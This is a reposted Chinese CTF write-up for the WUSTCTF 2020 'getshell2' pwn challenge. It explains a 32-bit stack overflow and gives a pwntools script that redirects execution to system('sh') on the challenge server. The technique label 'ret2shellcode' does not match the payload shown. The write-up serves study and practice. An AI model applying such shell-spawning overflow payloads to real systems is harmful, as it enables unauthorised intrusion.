首页 > 其他分享 >Pwn刷题记录

Pwn刷题记录

时间:2023-04-08 18:59:05浏览次数:41  
标签:binary 记录 -- system pwn ROPgadget sh Pwn 刷题

01[WUSTCTF 2020]getshell2

考点:栈溢出,ret2shellcode
首先查看保护机制

为32位小端程序,开启了栈不可执行。
用IDA32查看伪代码

追踪到vulnerable函数

可以通过read实现溢出
exp:

from pwn import *
#p = process('./pwn')
p = remote("1.14.71.254",'xxxxx')
sh = 0x08048670
#0x08048670 : sh   ROPgadget --binary pwn --string "sh"
system = 0x08048529
#0x080482bf : system    ROPgadget --binary pwn --string "system"
bin_add = 0x08048658
#ROPgadget --binary pwn --string "bin"
payload = b'a'*(0x18+4)+p32(system)+p32(sh)
p.sendline(payload)
p.interactive()

标签:binary,记录,--,system,pwn,ROPgadget,sh,Pwn,刷题
From: https://www.cnblogs.com/H3rm4n/p/17299004.html

相关文章

  • STM32F407代码记录
    魔术棒c/c++中Includepaths中添加所有头文件路径;define中添加USE_STDPERIPH_DRIVER,STM32F40_41xxx,.c文件创建函数后,若不在.h中声明函数会造成报警:warning:fuction"xxxx"declaredimplicitly避免重复声明:#ifndef_XXX_XXX_H#ifndef_XXX_XXX_H#define_XXX_XXX_H#endif/*_X......
  • 记录-VueJs中如何使用Teleport组件
    这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助了解排序算法的优缺点和适用场景是非常重要的,因为在实际开发中,需要根据实际情况选择最合适的排序算法。不同的排序算法适用于不同的场景,有的算法适用于小规模的数据集,有的算法适用于大规模的数据集,有的算法适用于......
  • 记录相关操作
    目录一、介绍二、查询数据SELECT-单表查询1.查询的语法1.查询关键字之select、from2.查询关键字之where筛选3.查询关键字之groupby分组3.2聚合函数3.3group_concat()3.4having过滤4.关键字之distinct去重5.关键字之orderby排序6.关键字之limit分页7.关键字之regexp正则......
  • IDEA-常用设置及好用插件记录
    1、常用设置设置开启选择工作空间 设置工作空间编码集    2、好用插件......
  • 操作系统(刷题)
          ......
  • buuctf.pwn.[OGeek2019]babyrop
    可以看出,没有开什么特别的保护什么是plt,gpt,自己回顾一下hex(elf.plt['puts']).plt.got:08048548FF25D49F0408jmpds:puts_ptrhex(elf.got['puts']).got:08049FD46CA00408puts_ptrddoffset__imp_puts;DATAXREF:pu......
  • 网站交易时,查询网站真实建站记录和一些查询纰漏
    最近购买了一些网站,也潜伏在各大虚拟知产交易平台的QQ群中。看能不能发现一些优质的网站。但是在这期间,我发现一些网站打着老站的名,却卖着非常低的价格。几年的建站记录,却是几千块钱。查询手法我迫不及待的查询了一下相关记录,主要从域名年龄,历史快照,网站文章发布时间。一般来说,从这......
  • Mac Apple 芯片运行 Vue 项目中 node-sass 转为 sass 遇到的问题记录,node-sass 替换成
    背景:前段时间因为某些原因将window笔记本换成MacM1pro,然后运行项目的时候发现高于node12版本的项目中不支持node-sass。记录下解决相关问题之后的记录......
  • rabbitmq学习记录
    一、综述需要在生产者和消费者之间建立有效的通信链路并确定双方的通信协议。消费者通常采取主动拉取和被动消费这两种模式实现消息消费。同时出于稳定性的考虑,消费者还要提供限流的能力。消息发送方逻辑则相对简单,消息发送出去后,依赖路由规则,最终投递给符合条件的一个或多个消......
  • 面试记录
    jsbridge原理webpack优化typeofnull0.1+0.2!==0.3=====fiber是什么老的react是怎么实现更新的安全攻击xsscsrfcallbindapply的区别箭头函数和普通函数的区别缓存怎么监听react,vue路由变化。a标签怎么监听路由变化的https为什么比http安全项目:最有技术挑战的项......